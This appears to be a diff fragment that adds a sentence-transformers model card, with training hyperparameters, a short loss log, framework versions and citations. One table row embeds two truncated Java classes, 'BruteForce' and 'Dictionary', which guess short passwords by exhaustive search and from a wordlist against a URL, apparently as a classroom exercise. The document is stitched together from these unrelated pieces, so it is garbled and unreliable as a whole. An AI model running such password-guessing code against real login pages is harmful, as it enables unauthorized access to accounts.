| import java.io.*;
import java.net.*;
import java.util.*;


public class BruteForce
{

public static void main(String args[])
{


Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double startTime = now.getTime();

String password=getPassword(startTime);
System.out.println("The password is " + password);
}

public static String getPassword(double startTime)
{
char first, second, third;
String password="";
int requests=0;


for (int i=65; i<123; i++)
{
requests++;
first = (char) i;

password = first + "";


if (testPassword(password, startTime, requests))
return password;

for (int j=65; j<123; j++)
{
requests++;
second = (char) j;

password = first + "" + second;


if (testPassword(password, startTime, requests))
return password;

for (int k=65; k<123; k++)
{
requests++;
third = (char) k;

password = first + "" + second + "" + third;


if (test...
|

import java.misc.BASE64Encoder;
import java.misc.BASE64Decoder;
import java.io.*;
import java.net.*;
import java.util.*;



public class Dictionary {

public Dictionary(String url, String dictionaryFile) {
try{
this.url = url;
this.dictionaryPath = dictionaryFile;
InputStream fis = new FileInputStream(this.dictionaryPath);
dict = new BufferedReader(new InputStreamReader(fis));

}catch(IOException ioe){
System.out.println("Error opening dictionary file:\n" +ioe);
}
}



private String url = null;

private String dictionaryPath = null;

private BufferedReader dict = null;

private int attempts = 0;

private int passwordSize = 3;

public void setPasswordSize(int size){
this.passwordSize = size;
}

public String getNextPassword()throws IOException{

String line = dict.readLine();

while(line!=null&&line.length()!=this.passwordSize )
line = dict.readLine();

return line;
}

publ...
| +* Loss: [CachedMultipleNegativesRankingLoss](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#cachedmultiplenegativesrankingloss) with these parameters: + ```json + { + "scale": 20.0, + "similarity_fct": "cos_sim", + "mini_batch_size": 32, + "gather_across_devices": false + } + ``` + +### Training Hyperparameters +#### Non-Default Hyperparameters + +- `per_device_train_batch_size`: 256 +- `num_train_epochs`: 1 +- `warmup_ratio`: 0.1 +- `fp16`: True +- `batch_sampler`: no_duplicates + +#### All Hyperparameters +
Click to expand + +- `overwrite_output_dir`: False +- `do_predict`: False +- `eval_strategy`: no +- `prediction_loss_only`: True +- `per_device_train_batch_size`: 256 +- `per_device_eval_batch_size`: 8 +- `per_gpu_train_batch_size`: None +- `per_gpu_eval_batch_size`: None +- `gradient_accumulation_steps`: 1 +- `eval_accumulation_steps`: None +- `torch_empty_cache_steps`: None +- `learning_rate`: 5e-05 +- `weight_decay`: 0.0 +- `adam_beta1`: 0.9 +- `adam_beta2`: 0.999 +- `adam_epsilon`: 1e-08 +- `max_grad_norm`: 1.0 +- `num_train_epochs`: 1 +- `max_steps`: -1 +- `lr_scheduler_type`: linear +- `lr_scheduler_kwargs`: {} +- `warmup_ratio`: 0.1 +- `warmup_steps`: 0 +- `log_level`: passive +- `log_level_replica`: warning +- `log_on_each_node`: True +- `logging_nan_inf_filter`: True +- `save_safetensors`: True +- `save_on_each_node`: False +- `save_only_model`: False +- `restore_callback_states_from_checkpoint`: False +- `no_cuda`: False +- `use_cpu`: False +- `use_mps_device`: False +- `seed`: 42 +- `data_seed`: None +- `jit_mode_eval`: False +- `use_ipex`: False +- `bf16`: False +- `fp16`: True +- `fp16_opt_level`: O1 +- `half_precision_backend`: auto +- `bf16_full_eval`: False +- `fp16_full_eval`: False +- `tf32`: None +- `local_rank`: 0 +- `ddp_backend`: None +- `tpu_num_cores`: None +- `tpu_metrics_debug`: False +- `debug`: [] +- `dataloader_drop_last`: False +- `dataloader_num_workers`: 0 +- `dataloader_prefetch_factor`: None +- `past_index`: -1 +- `disable_tqdm`: False +- `remove_unused_columns`: True +- `label_names`: None +- `load_best_model_at_end`: False +- `ignore_data_skip`: False +- `fsdp`: [] +- `fsdp_min_num_params`: 0 +- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} +- `fsdp_transformer_layer_cls_to_wrap`: None +- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} +- `parallelism_config`: None +- `deepspeed`: None +- `label_smoothing_factor`: 0.0 +- `optim`: adamw_torch_fused +- `optim_args`: None +- `adafactor`: False +- `group_by_length`: False +- `length_column_name`: length +- `ddp_find_unused_parameters`: None +- `ddp_bucket_cap_mb`: None +- `ddp_broadcast_buffers`: False +- `dataloader_pin_memory`: True +- `dataloader_persistent_workers`: False +- `skip_memory_metrics`: True +- `use_legacy_prediction_loop`: False +- `push_to_hub`: False +- `resume_from_checkpoint`: None +- `hub_model_id`: None +- `hub_strategy`: every_save +- `hub_private_repo`: None +- `hub_always_push`: False +- `hub_revision`: None +- `gradient_checkpointing`: False +- `gradient_checkpointing_kwargs`: None +- `include_inputs_for_metrics`: False +- `include_for_metrics`: [] +- `eval_do_concat_batches`: True +- `fp16_backend`: auto +- `push_to_hub_model_id`: None +- `push_to_hub_organization`: None +- `mp_parameters`: +- `auto_find_batch_size`: False +- `full_determinism`: False +- `torchdynamo`: None +- `ray_scope`: last +- `ddp_timeout`: 1800 +- `torch_compile`: False +- `torch_compile_backend`: None +- `torch_compile_mode`: None +- `include_tokens_per_second`: False +- `include_num_input_tokens_seen`: False +- `neftune_noise_alpha`: None +- `optim_target_modules`: None +- `batch_eval_metrics`: False +- `eval_on_start`: False +- `use_liger_kernel`: False +- `liger_kernel_config`: None +- `eval_use_gather_object`: False +- `average_tokens_across_devices`: False +- `prompts`: None +- `batch_sampler`: no_duplicates +- `multi_dataset_batch_sampler`: proportional +- `router_mapping`: {} +- `learning_rate_mapping`: {} + +
+ +### Training Logs +| Epoch | Step | Training Loss | +|:------:|:----:|:-------------:| +| 0.7407 | 100 | 0.4377 | + + +### Framework Versions +- Python: 3.11.11 +- Sentence Transformers: 5.1.1 +- Transformers: 4.56.2 +- PyTorch: 2.8.0.dev20250319+cu128 +- Accelerate: 1.10.1 +- Datasets: 4.1.1 +- Tokenizers: 0.22.1 + +## Citation + +### BibTeX + +#### Sentence Transformers +```bibtex +@inproceedings{reimers-2019-sentence-bert, + title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", + author = "Reimers, Nils and Gurevych, Iryna", + booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", + month = "11", + year = "2019", + publisher = "Association for Computational Linguistics", + url = "https://arxiv.org/abs/1908.10084", +} +``` + +#### CachedMultipleNegativesRankingLoss +```bibtex +@misc{gao2021scaling, + title={Scaling Deep Contrastive Learning Batch Size under Memory Limited Setup}, + author={Luyu Gao and Yunyi Zhang and Jiawei Han and Jamie Callan}, + year={2021}, + eprint={2101.06983}, + archivePrefix={arXiv}, + primaryClass={cs.LG} +} +``` + + + + + + \ No newline at end of file